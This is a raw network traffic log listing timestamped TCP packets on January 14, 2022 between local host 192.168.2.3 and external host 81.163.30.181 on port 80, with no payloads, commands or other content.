Jan 14, 2022 20:23:51.974759102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.974817991 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.974819899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.974880934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.974940062 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.974991083 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.974994898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975054979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975070000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.975115061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975173950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975203037 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.975235939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975303888 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.975305080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975367069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975424051 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.975425005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975483894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975542068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975549936 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.975604057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975652933 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975658894 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.975716114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975759983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975760937 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.975800037 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975842953 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975879908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975893974 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.975920916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.975928068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.975960970 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976001024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976041079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976047039 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976079941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976120949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976128101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976157904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976162910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976201057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976242065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976269960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976280928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976322889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976326942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976362944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976401091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976440907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976465940 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976480961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976485968 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976521015 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976560116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976598024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976617098 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976639032 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976639986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976681948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976718903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976735115 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976758003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976795912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976834059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976849079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976876020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976895094 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.976916075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976957083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.976998091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977009058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977046013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977047920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977087975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977133989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977170944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977185965 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977210999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977216005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977251053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977291107 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977329969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977344990 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977368116 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977406979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977437973 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977446079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977483034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977502108 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977523088 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977524042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977560997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977602959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977642059 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977649927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977680922 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977683067 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977720976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977760077 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977797031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977824926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977837086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977840900 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.977916956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977956057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.977994919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978017092 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.978034973 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978038073 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.978071928 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978111982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978167057 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.978205919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978245974 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978254080 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.978303909 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978348017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978394032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978403091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.978446007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.978446007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978528023 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978576899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978632927 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.978713036 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978764057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978765011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.978802919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978842020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.978889942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.981106997 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.981149912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.981199980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:51.981240034 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:51.981281042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.014235020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.014277935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.014321089 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.014360905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.014384031 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.014401913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.014430046 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.014444113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.014483929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.014523983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.014543056 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.014564991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.014588118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.036055088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.036377907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.036439896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.036467075 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.036498070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.036540031 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.036577940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.036617041 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.036623001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.036662102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.036705017 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.036766052 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.036822081 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.036828041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.036878109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.036887884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.036951065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037009001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037055016 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.037065983 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037111998 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.037125111 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037183046 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037241936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037297010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037326097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.037349939 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.037358999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037420034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037476063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037528038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.037533998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037580013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.037594080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037656069 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037714958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037756920 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037764072 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.037795067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037801027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.037836075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037926912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037966967 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.037976027 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038006067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038011074 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038048029 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038086891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038126945 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038136959 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038168907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038172960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038207054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038247108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038252115 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038286924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038328886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038367987 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038376093 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038408995 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038459063 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038466930 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038511992 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038548946 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038558006 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038589954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038605928 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038631916 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038669109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038707972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038718939 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038748026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038754940 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038788080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038827896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038868904 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038882971 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038908958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038911104 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.038952112 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.038999081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039043903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039051056 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039092064 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039098024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039136887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039176941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039216042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039225101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039253950 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039263010 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039294958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039335012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039374113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039381981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039414883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039421082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039453030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039506912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039546013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039561987 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039586067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039592981 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039627075 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039665937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039704084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039719105 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039743900 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039750099 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039783001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039822102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039861917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039876938 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039900064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039910078 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.039941072 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.039979935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040019035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040035009 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.040059090 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040066957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.040098906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040138960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040178061 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040195942 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.040216923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040234089 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.040257931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040298939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040338993 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040352106 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.040380001 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040381908 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.040419102 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040461063 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040499926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040515900 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.040539026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040544033 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.040580034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040618896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040657043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.040672064 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.040694952 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.040698051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.070331097 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.071516991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.071568012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.071609020 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.071646929 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.071666002 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.071688890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.071729898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.071758986 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.071770906 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.071779013 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.071814060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.071955919 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.073049068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.092825890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.092911005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.097512960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.097558975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.097596884 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.097655058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.097727060 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.097774982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.097815990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.097886086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.097924948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.097965002 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098006010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098042965 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098082066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098119974 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098160982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098200083 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098226070 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.098237991 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098258972 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.098278999 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098320961 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098359108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098375082 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.098398924 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098412991 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:52.098438978 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098479033 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098520041 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:52.098526955 CET	49866	80	192.168.2.3	81.163.30.181
